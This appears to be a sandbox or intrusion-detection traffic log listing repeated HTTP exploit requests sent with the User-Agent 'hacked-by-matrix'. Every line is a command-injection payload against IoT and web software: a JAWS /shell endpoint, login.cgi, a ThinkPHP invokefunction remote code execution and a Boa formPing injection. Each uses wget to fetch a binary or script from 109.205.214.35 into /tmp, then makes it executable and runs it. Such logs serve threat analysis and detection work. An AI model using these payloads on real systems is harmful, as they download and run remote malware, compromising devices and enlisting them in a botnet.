Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
